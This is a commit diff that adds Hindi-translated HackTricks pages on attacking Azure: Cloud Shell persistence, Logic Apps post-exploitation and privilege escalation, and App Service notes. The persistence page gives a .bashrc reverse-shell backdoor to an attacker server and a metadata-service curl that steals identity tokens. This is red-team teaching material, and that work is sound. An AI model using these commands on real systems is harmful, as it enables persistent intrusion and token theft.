Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud

This commit is contained in:
Translator
2025-01-26 15:18:53 +00:00
parent 467b7a7648
commit 4dcd3a1431
12 changed files with 891 additions and 102 deletions

View File

@@ -0,0 +1,56 @@
# Az - Cloud Shell Persistence
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Cloud Shell Persistence
Azure Cloud Shell कमांड-लाइन एक्सेस प्रदान करता है ताकि Azure संसाधनों का प्रबंधन किया जा सके, जिसमें स्थायी भंडारण और स्वचालित प्रमाणीकरण शामिल है। हमलावर इसका लाभ उठाकर स्थायी होम डायरेक्टरी में बैकडोर रख सकते हैं:
* **Persistent Storage**: Azure Cloud Shell का होम डायरेक्टरी एक Azure फ़ाइल शेयर पर माउंट किया गया है और सत्र समाप्त होने के बाद भी बरकरार रहता है।
* **Startup Scripts**: फ़ाइलें जैसे .bashrc प्रत्येक सत्र की शुरुआत में स्वचालित रूप से निष्पादित होती हैं, जिससे क्लाउड शेल शुरू होने पर स्थायी निष्पादन की अनुमति मिलती है।
Example backdoor in .bashrc:
{% code overflow="wrap" %}
```bash
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
```
{% endcode %}
यह बैकडोर उपयोगकर्ता द्वारा क्लाउड शेल समाप्त होने के 5 मिनट बाद भी कमांड निष्पादित कर सकता है।
इसके अतिरिक्त, उदाहरण विवरण और टोकन के लिए Azure की मेटाडेटा सेवा को क्वेरी करें:
{% code overflow="wrap" %}
```bash
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
```
{% endcode %}
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)** का पालन करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करें।
</details>
{% endhint %}

View File

@@ -0,0 +1,181 @@
# Az - Logic Apps Post Exploitation
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करें।
</details>
{% endhint %}
## Logic Apps Database Post Exploitation
Logic apps के बारे में अधिक जानकारी के लिए देखें:
{% content-ref url="../az-services/az-logic-apps.md" %}
[az-logic-apps.md](../az-services/az-logic-apps.md)
{% endcontent-ref %}
### "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
इन अनुमतियों के साथ, आप Logic App वर्कफ़्लो को संशोधित कर सकते हैं और उनकी पहचान प्रबंधित कर सकते हैं। विशेष रूप से, आप वर्कफ़्लो के लिए सिस्टम-निर्धारित और उपयोगकर्ता-निर्धारित प्रबंधित पहचान को असाइन या हटा सकते हैं, जिससे Logic App को स्पष्ट क्रेडेंशियल के बिना अन्य Azure संसाधनों को प्रमाणित और एक्सेस करने की अनुमति मिलती है।
{% code overflow="wrap" %}
```bash
az logic workflow identity remove/assign \
--name <workflow_name> \
--resource-group <resource_group_name> \
--system-assigned true \
--user-assigned "/subscriptions/<subscription_id>/resourceGroups/<resource_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<identity_name>"
```
{% endcode %}
### "Microsoft.Web/sites/read", "Microsoft.Web/sites/write"
इन अनुमतियों के साथ, आप App Service Plan पर होस्ट किए गए Logic Apps को बना या अपडेट कर सकते हैं। इसमें HTTPS प्रवर्तन को सक्षम या अक्षम करने जैसी सेटिंग्स को संशोधित करना शामिल है।
{% code overflow="wrap" %}
```bash
az logicapp update \
--resource-group <resource_group_name> \
--name <logic_app_name> \
--set httpsOnly=false
```
{% endcode %}
### "Microsoft.Web/sites/stop/action", "Microsoft.Web/sites/start/action" || "Microsoft.Web/sites/restart/action"
इस अनुमति के साथ, आप एक वेब ऐप को शुरू/रोक/पुनः प्रारंभ कर सकते हैं, जिसमें App Service Plan पर होस्ट किए गए Logic Apps शामिल हैं। यह क्रिया सुनिश्चित करती है कि एक पूर्व में रोका गया ऐप ऑनलाइन लाया जाए और इसकी कार्यक्षमता फिर से शुरू हो। यह कार्यप्रवाहों को बाधित कर सकता है, अनपेक्षित संचालन को ट्रिगर कर सकता है, या Logic Apps को अप्रत्याशित रूप से शुरू, रोकने या पुनः प्रारंभ करने के कारण डाउनटाइम का कारण बन सकता है।
{% code overflow="wrap" %}
```bash
az webapp start/stop/restart \
--name <logic_app_name> \
--resource-group <resource_group_name>
```
{% endcode %}
### "Microsoft.Web/sites/config/list/action", "Microsoft.Web/sites/read" && "Microsoft.Web/sites/config/write"
इस अनुमति के साथ, आप वेब ऐप्स के लिए सेटिंग्स को कॉन्फ़िगर या संशोधित कर सकते हैं, जिसमें App Service Plan पर होस्ट किए गए Logic Apps शामिल हैं। यह ऐप सेटिंग्स, कनेक्शन स्ट्रिंग्स, प्रमाणीकरण कॉन्फ़िगरेशन, और अधिक में परिवर्तन की अनुमति देता है।
{% code overflow="wrap" %}
```bash
az logicapp config appsettings set \
--name <logic_app_name> \
--resource-group <resource_group_name> \
--settings "<key>=<value>"
```
{% endcode %}
### "Microsoft.Logic/integrationAccounts/write"
इस अनुमति के साथ, आप Azure Logic Apps इंटीग्रेशन खातों को बना, अपडेट या हटा सकते हैं। इसमें इंटीग्रेशन खाता-स्तरीय कॉन्फ़िगरेशन जैसे मानचित्र, स्कीमा, भागीदार, समझौते, और अधिक का प्रबंधन करना शामिल है।
{% code overflow="wrap" %}
```bash
az logic integration-account create \
--resource-group <resource_group_name> \
--name <integration_account_name> \
--location <location> \
--sku <Standard|Free> \
--state Enabled
```
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/batchConfigurations/write"
इस अनुमति के साथ, आप Azure Logic Apps एकीकरण खाते के भीतर बैच कॉन्फ़िगरेशन बना या संशोधित कर सकते हैं। बैच कॉन्फ़िगरेशन यह परिभाषित करते हैं कि Logic Apps बैच प्रोसेसिंग के लिए आने वाले संदेशों को कैसे संसाधित और समूहित करते हैं।
{% code overflow="wrap" %}
```bash
az logic integration-account batch-configuration create \
--resource-group <resource_group_name> \
--integration-account-name <integration_account_name> \
--name <batch_configuration_name> \
--release-criteria '{
"messageCount": 100,
"batchSize": 1048576,
}'
```
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/maps/write"
इस अनुमति के साथ, आप Azure Logic Apps एकीकरण खाते के भीतर मानचित्र बना या संशोधित कर सकते हैं। मानचित्रों का उपयोग डेटा को एक प्रारूप से दूसरे प्रारूप में परिवर्तित करने के लिए किया जाता है, जिससे विभिन्न प्रणालियों और अनुप्रयोगों के बीच निर्बाध एकीकरण संभव होता है।
{% code overflow="wrap" %}
```bash
az logic integration-account map create \
--resource-group <resource_group_name> \
--integration-account-name <integration_account_name> \
--name <map_name> \
--map-type <Xslt|Xslt20|Xslt30> \
--content-type application/xml \
--map-content map-content.xslt
```
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/partners/write"
इस अनुमति के साथ, आप Azure Logic Apps इंटीग्रेशन खाते में भागीदारों को बना या संशोधित कर सकते हैं। भागीदार उन संस्थाओं या प्रणालियों का प्रतिनिधित्व करते हैं जो व्यवसाय-से-व्यवसाय (B2B) कार्यप्रवाहों में भाग लेते हैं।
{% code overflow="wrap" %}
```bash
az logic integration-account partner create \
--resource-group <resource_group_name> \
--integration-account-name <integration_account_name> \
--name <partner_name> \
--partner-type <partner-type> \
--content '{
"b2b": {
"businessIdentities": [
{
"qualifier": "ZZ",
"value": "TradingPartner1"
}
]
}
}'
```
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/sessions/write"
इस अनुमति के साथ, आप Azure Logic Apps इंटीग्रेशन खाते के भीतर सत्र बना या संशोधित कर सकते हैं। सत्र B2B वर्कफ़्लो में संदेशों को समूहित करने और एक निर्धारित अवधि के भीतर संबंधित लेनदेन को ट्रैक करने के लिए उपयोग किए जाते हैं।
{% code overflow="wrap" %}
```bash
az logic integration-account session create \
--resource-group <resource_group_name> \
--integration-account-name <integration_account_name> \
--name <session_name> \
--content '{
"properties": {
"sessionId": "session123",
"data": {
"key1": "value1",
"key2": "value2"
}
}
}'
```
{% endcode %}
### "*/delete"
इन अनुमतियों के साथ आप Azure Logic Apps से संबंधित संसाधनों को हटा सकते हैं
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,77 @@
# Az - Logic Apps Privesc
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)** का पालन करें।**
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}
## Logic Apps Privesc
SQL Database के बारे में अधिक जानकारी के लिए देखें:
{% content-ref url="../az-services/az-logic-apps.md" %}
[az-logic-apps.md](../az-services/az-logic-apps.md)
{% endcontent-ref %}
### ("Microsoft.Resources/subscriptions/resourcegroups/read", "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action") && ("Microsoft.Logic/workflows/triggers/run/action")
इस अनुमति के साथ, आप Azure Logic Apps वर्कफ़्लो बना या अपडेट कर सकते हैं। वर्कफ़्लो स्वचालित प्रक्रियाओं और विभिन्न सिस्टम और सेवाओं के बीच एकीकरण को परिभाषित करते हैं।
{% code overflow="wrap" %}
```bash
az logic workflow create \
--resource-group <resource_group_name> \
--name <workflow_name> \
--definition <workflow_definition_file.json> \
--location <location>
az logic workflow update \
--name my-new-workflow \
--resource-group logicappgroup \
--definition <workflow_definition_file.json>
```
{% endcode %}
और इसे बदलने के बाद, आप इसे इस तरह चला सकते हैं:
```bash
az rest \
--method post \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourcegroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/run?api-version=2016-10-01" \
--body '{}' \
--headers "Content-Type=application/json"
```
### ("Microsoft.Web/sites/read", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/read", "Microsoft.Web/sites/write", "Microsoft.Web/sites/config/list/action") && ("Microsoft.Web/sites/start/action")
इन अनुमतियों के साथ, आप ZIP फ़ाइल तैनाती का उपयोग करके Logic App वर्कफ़्लो तैनात कर सकते हैं। ये अनुमतियाँ ऐप विवरण पढ़ने, प्रकाशन क्रेडेंशियल्स तक पहुँचने, परिवर्तनों को लिखने और ऐप कॉन्फ़िगरेशन की सूची बनाने जैसी क्रियाओं को सक्षम करती हैं। प्रारंभ अनुमतियों के साथ, आप इच्छित सामग्री के साथ एक नया Logic App अपडेट और तैनात कर सकते हैं।
{% code overflow="wrap" %}
```bash
az logicapp deployment source config-zip \
--name <logic_app_name> \
--resource-group <resource_group_name> \
--src <path_to_zip_file>
```
{% endcode %}
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View File

@@ -4,31 +4,31 @@
## App Service Basic Information
Azure App Services डेवलपर्स को **वेब एप्लिकेशन, मोबाइल ऐप बैकएंड, और APIs को बिना किसी रुकावट के बनाने, तैनात करने और स्केल करने** की अनुमति देता है। यह कई प्रोग्रामिंग भाषाओं का समर्थन करता है और कार्यक्षमता और प्रबंधन के लिए विभिन्न Azure उपकरणों और सेवाओं के साथ एकीकृत होता है।
Azure App Services डेवलपर्स को **वेब एप्लिकेशन, मोबाइल ऐप बैकएंड और APIs को बिना किसी रुकावट के बनाने, तैनात करने और स्केल करने** की अनुमति देता है। यह कई प्रोग्रामिंग भाषाओं का समर्थन करता है और कार्यक्षमता और प्रबंधन के लिए विभिन्न Azure उपकरणों और सेवाओं के साथ एकीकृत होता है।
प्रत्येक ऐप एक सैंडबॉक्स के अंदर चलता है लेकिन अलगाव App Service योजनाओं पर निर्भर करता है:
- फ्री और शेयर किए गए स्तरों में ऐप्स **शेयर किए गए VMs** पर चलते हैं
- स्टैंडर्ड और प्रीमियम स्तरों में ऐप्स **विशेष VMs पर चलते हैं जो केवल उसी App Service योजना में ऐप्स द्वारा साझा किए जाते हैं**
- आइसोलेटेड स्तर **विशेष VMs पर विशेष वर्चुअल नेटवर्क्स** पर चलते हैं, जो ऐप्स के अलगाव में सुधार करते हैं।
- स्टैंडर्ड और प्रीमियम स्तरों में ऐप्स **विशिष्ट VMs पर चलते हैं जो केवल उसी App Service योजना में ऐप्स द्वारा साझा किए जाते हैं**
- आइसोलेटेड स्तर **विशिष्ट VMs पर चलते हैं जो विशिष्ट वर्चुअल नेटवर्क पर होते हैं**, ऐप्स के अलगाव में सुधार करते हैं।
> [!WARNING]
> ध्यान दें कि **कोई भी** उन अलगावों में से **अन्य सामान्य** **वेब कमजोरियों** (जैसे फ़ाइल अपलोड, या इंजेक्शन) को **रोकता नहीं है**। और यदि एक **प्रबंधन पहचान** का उपयोग किया जाता है, तो यह **उन पर विशेषाधिकार बढ़ा सकता है**।
> ध्यान दें कि **कोई भी** उन अलगावों में से **अन्य सामान्य** **वेब कमजोरियों** (जैसे फ़ाइल अपलोड या इंजेक्शन) को **रोकता नहीं है**। और यदि एक **प्रबंधन पहचान** का उपयोग किया जाता है, तो यह **उन पर विशेषाधिकार बढ़ा सकता है**।
ऐप्स में कुछ दिलचस्प कॉन्फ़िगरेशन हैं:
ऐप्स में कुछ दिलचस्प कॉन्फ़िगरेशन होते हैं:
- **हमेशा चालू**: सुनिश्चित करता है कि ऐप हमेशा चल रहा है। यदि सक्षम नहीं है, तो ऐप 20 मिनट की निष्क्रियता के बाद चलना बंद कर देगा और एक अनुरोध प्राप्त होने पर फिर से शुरू होगा।
- यदि आपके पास एक वेबजॉब है जिसे लगातार चलने की आवश्यकता है तो यह आवश्यक है क्योंकि यदि ऐप रुकता है तो वेबजॉब भी रुक जाएगा।
- **SSH**: यदि सक्षम है, तो पर्याप्त अनुमतियों वाला एक उपयोगकर्ता SSH का उपयोग करके ऐप से कनेक्ट कर सकता है।
- **डिबगिंग**: यदि सक्षम है, तो पर्याप्त अनुमतियों वाला एक उपयोगकर्ता ऐप को डिबग कर सकता है। हालाँकि, यह हर 48 घंटे में स्वचालित रूप से बंद हो जाता है।
- **हमेशा चालू**: सुनिश्चित करता है कि ऐप हमेशा चल रहा है। यदि सक्षम नहीं किया गया है, तो ऐप 20 मिनट की निष्क्रियता के बाद चलना बंद कर देगा और जब एक अनुरोध प्राप्त होगा तो फिर से शुरू होगा।
- यदि आपके पास एक वेबजॉब है जिसे लगातार चलने की आवश्यकता है तो यह आवश्यक है क्योंकि यदि ऐप रुक जाता है तो वेबजॉब भी रुक जाएगा।
- **SSH**: यदि सक्षम है, तो पर्याप्त अनुमतियों वाला उपयोगकर्ता SSH का उपयोग करके ऐप से कनेक्ट कर सकता है।
- **डबगिंग**: यदि सक्षम है, तो पर्याप्त अनुमतियों वाला उपयोगकर्ता ऐप को डबग कर सकता है। हालाँकि, यह हर 48 घंटे में स्वचालित रूप से अक्षम हो जाता है।
- **वेब ऐप + डेटाबेस**: वेब कंसोल एक डेटाबेस के साथ एक ऐप बनाने की अनुमति देता है। इस मामले में, उपयोग करने के लिए डेटाबेस का चयन करना संभव है (SQLAzure, PostgreSQL, MySQL, MongoDB) और यह आपको Redis के लिए एक Azure Cache बनाने की भी अनुमति देता है।
- डेटाबेस और Redis के लिए क्रेडेंशियल्स वाला URL **appsettings** में संग्रहीत किया जाएगा।
- **कंटेनर**: कंटेनर के URL और इसे एक्सेस करने के लिए क्रेडेंशियल्स को इंगित करके App Service पर एक कंटेनर तैनात करना संभव है।
- **माउंट्स**: स्टोरेज खातों से 5 माउंट्स बनाना संभव है, ये Azure Blob (पढ़ने के लिए केवल) या Azure Files हो सकते हैं। कॉन्फ़िगरेशन स्टोरेज अकाउंट पर एक्सेस कुंजी को संग्रहीत करेगा।
- **माउंट्स**: स्टोरेज खातों से 5 माउंट बनाना संभव है, ये Azure Blob (पढ़ने के लिए केवल) या Azure Files हो सकते हैं। कॉन्फ़िगरेशन स्टोरेज अकाउंट पर एक्सेस कुंजी को संग्रहीत करेगा।
## Basic Authentication
जब एक वेब ऐप (और एक Azure फ़ंक्शन आमतौर पर) बनाया जाता है, तो यह संकेत देना संभव है कि आप **बुनियादी प्रमाणीकरण सक्षम करना चाहते हैं** (डिफ़ॉल्ट रूप से बंद)। यह मूल रूप से **SCM (स्रोत नियंत्रण प्रबंधक) और FTP (फाइल ट्रांसफर प्रोटोकॉल)** को एप्लिकेशन के लिए सक्षम करता है ताकि उन तकनीकों का उपयोग करके एप्लिकेशन को तैनात करना संभव हो सके।
जब एक वेब ऐप (और एक Azure फ़ंक्शन आमतौर पर) बनाया जाता है, तो यह संकेत देना संभव है कि आप **बुनियादी प्रमाणीकरण सक्षम करना चाहते हैं** (डिफ़ॉल्ट रूप से अक्षम)। यह मूल रूप से **SCM (स्रोत नियंत्रण प्रबंधक) और FTP (फाइल ट्रांसफर प्रोटोकॉल)** को एप्लिकेशन के लिए सक्षम करता है ताकि उन तकनीकों का उपयोग करके एप्लिकेशन को तैनात करना संभव हो सके।
SCM और FTP सर्वरों तक पहुँचने के लिए, एक **उपयोगकर्ता नाम और पासवर्ड** की आवश्यकता होती है। इसलिए, Azure कुछ **APIs प्रदान करता है जो इन प्लेटफार्मों के लिए URLs** और क्रेडेंशियल्स प्राप्त करने के लिए हैं।
@@ -39,7 +39,7 @@ SCM
### Kudu
Kudu वह प्लेटफ़ॉर्म है जो **SCM और एक वेब और API इंटरफ़ेस दोनों का प्रबंधन करता है** ताकि एक App Service का प्रबंधन किया जा सके, और Git-आधारित तैनातियों, दूरस्थ डिबगिंग, और फ़ाइल प्रबंधन क्षमताएँ प्रदान करता है। यह वेब ऐप में परिभाषित SCM URL के माध्यम से सुलभ है।
Kudu वह प्लेटफ़ॉर्म है जो **SCM और एक वेब और API इंटरफ़ेस दोनों का प्रबंधन करता है** ताकि एक App Service का प्रबंधन किया जा सके, और Git-आधारित तैनातियों, दूरस्थ डबगिंग, और फ़ाइल प्रबंधन क्षमताएँ प्रदान करता है। यह वेब ऐप में परिभाषित SCM URL के माध्यम से सुलभ है।
ध्यान दें कि App Services और Function Apps द्वारा उपयोग किए जाने वाले Kudu संस्करण भिन्न हैं, Function apps का संस्करण बहुत अधिक सीमित है।
@@ -56,9 +56,9 @@ Kudu में आप कुछ दिलचस्प एंडपॉइंट
## Sources
App Services डिफ़ॉल्ट रूप से कोड को एक ज़िप फ़ाइल के रूप में अपलोड करने की अनुमति देते हैं, लेकिन यह एक तीसरे पक्ष की सेवा से कनेक्ट करने और वहां से कोड प्राप्त करने की भी अनुमति देता है।
App Services डिफ़ॉल्ट रूप से कोड को एक ज़िप फ़ाइल के रूप में अपलोड करने की अनुमति देते हैं, लेकिन यह एक तृतीय पक्ष सेवा से कनेक्ट करने और वहां से कोड प्राप्त करने की भी अनुमति देता है।
- वर्तमान में समर्थित तीसरे पक्ष के स्रोत **Github** और **Bitbucket** हैं।
- वर्तमान में समर्थित तृतीय पक्ष स्रोत **Github** और **Bitbucket** हैं।
- आप `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"` चलाकर प्रमाणीकरण टोकन प्राप्त कर सकते हैं।
- Azure डिफ़ॉल्ट रूप से हर बार कोड अपडेट होने पर App Service पर कोड तैनात करने के लिए एक **Github Action** सेटअप करेगा।
- यह वहाँ से कोड प्राप्त करने के लिए एक **दूरस्थ git रिपॉजिटरी** (उपयोगकर्ता नाम और पासवर्ड के साथ) को इंगित करना भी संभव है।
@@ -72,22 +72,22 @@ App Services डिफ़ॉल्ट रूप से कोड को एक
Azure WebJobs **Azure App Service वातावरण में चलने वाले बैकग्राउंड कार्य** हैं। वे डेवलपर्स को अपने वेब एप्लिकेशनों के साथ स्क्रिप्ट या प्रोग्राम चलाने की अनुमति देते हैं, जिससे फ़ाइल प्रसंस्करण, डेटा हैंडलिंग, या अनुसूचित कार्यों जैसे असिंक्रोनस या समय-गहन संचालन को संभालना आसान हो जाता है।
वेब जॉब के 2 प्रकार होते हैं:
- **निरंतर**: यह अनंत काल तक एक लूप में चलता है और इसे तुरंत बनाया जाने पर ट्रिगर किया जाता है। यह उन कार्यों के लिए आदर्श है जिन्हें निरंतर प्रसंस्करण की आवश्यकता होती है। हालाँकि, यदि ऐप चलना बंद कर देता है क्योंकि हमेशा चालू बंद है और इसे पिछले 20 मिनट में कोई अनुरोध नहीं मिला है, तो वेब जॉब भी रुक जाएगा।
- **निरंतर**: यह अनिश्चितकाल तक एक लूप में चलता है और इसे तुरंत बनाया जाने पर ट्रिगर किया जाता है। यह उन कार्यों के लिए आदर्श है जिन्हें निरंतर प्रसंस्करण की आवश्यकता होती है। हालाँकि, यदि ऐप चलना बंद कर देता है क्योंकि हमेशा चालू अक्षम है और इसे पिछले 20 मिनट में कोई अनुरोध नहीं मिला है, तो वेब जॉब भी रुक जाएगा।
- **ट्रिगर किया गया**: यह मांग पर या एक शेड्यूल के आधार पर चलता है। यह आवधिक कार्यों, जैसे बैच डेटा अपडेट या रखरखाव दिनचर्या के लिए सबसे उपयुक्त है।
Webjobs हमलावरों के दृष्टिकोण से बहुत दिलचस्प होते हैं क्योंकि उनका उपयोग **पर्यावरण में कोड निष्पादित करने** और **संलग्न प्रबंधित पहचान** के लिए विशेषाधिकार बढ़ाने के लिए किया जा सकता है।
इसके अलावा, Webjobs द्वारा उत्पन्न **लॉग** की जांच करना हमेशा दिलचस्प होता है क्योंकि वे **संवेदनशील जानकारी** हो सकते हैं।
इसके अलावा, Webjobs द्वारा उत्पन्न **लॉग** की जांच करना हमेशा दिलचस्प होता है क्योंकि वे **संवेदनशील जानकारी** रख सकते हैं।
## Slots
Azure App Service Slots का उपयोग **एक ही App Service पर एप्लिकेशन के विभिन्न संस्करणों को तैनात करने** के लिए किया जाता है। यह डेवलपर्स को उत्पादन वातावरण में तैनात करने से पहले एक अलग वातावरण में नई सुविधाओं या परिवर्तनों का परीक्षण करने की अनुमति देता है।
इसके अलावा, एक विशेष स्लॉट के लिए **ट्रैफ़िक का एक प्रतिशत** रूट करना संभव है, जो A/B परीक्षण के लिए उपयोगी है, और **बैकडोर उद्देश्यों** के लिए।
इसके अलावा, एक विशिष्ट स्लॉट के लिए **ट्रैफ़िक का प्रतिशत** रूट करना संभव है, जो A/B परीक्षण के लिए उपयोगी है, और **बैकडोर उद्देश्यों** के लिए।
## Azure Function Apps
बुनियादी रूप से **Azure Function apps Azure App Service का एक उपसमुच्चय हैं** वेब कंसोल में और यदि आप वेब कंसोल पर जाते हैं और सभी ऐप सेवाओं की सूची बनाते हैं या `az webapp list` को az cli में निष्पादित करते हैं, तो आप **वहाँ सूचीबद्ध फ़ंक्शन ऐप्स को भी देख पाएंगे**
बुनियादी रूप से **Azure Function apps Azure App Service का एक उपसमुच्चय हैं** वेब कंसोल में और यदि आप वेब कंसोल पर जाते हैं और सभी ऐप सेवाओं की सूची बनाते हैं या az cli में `az webapp list` निष्पादित करते हैं, तो आप **वहाँ सूचीबद्ध फ़ंक्शन ऐप्स को भी देख पाएंगे**
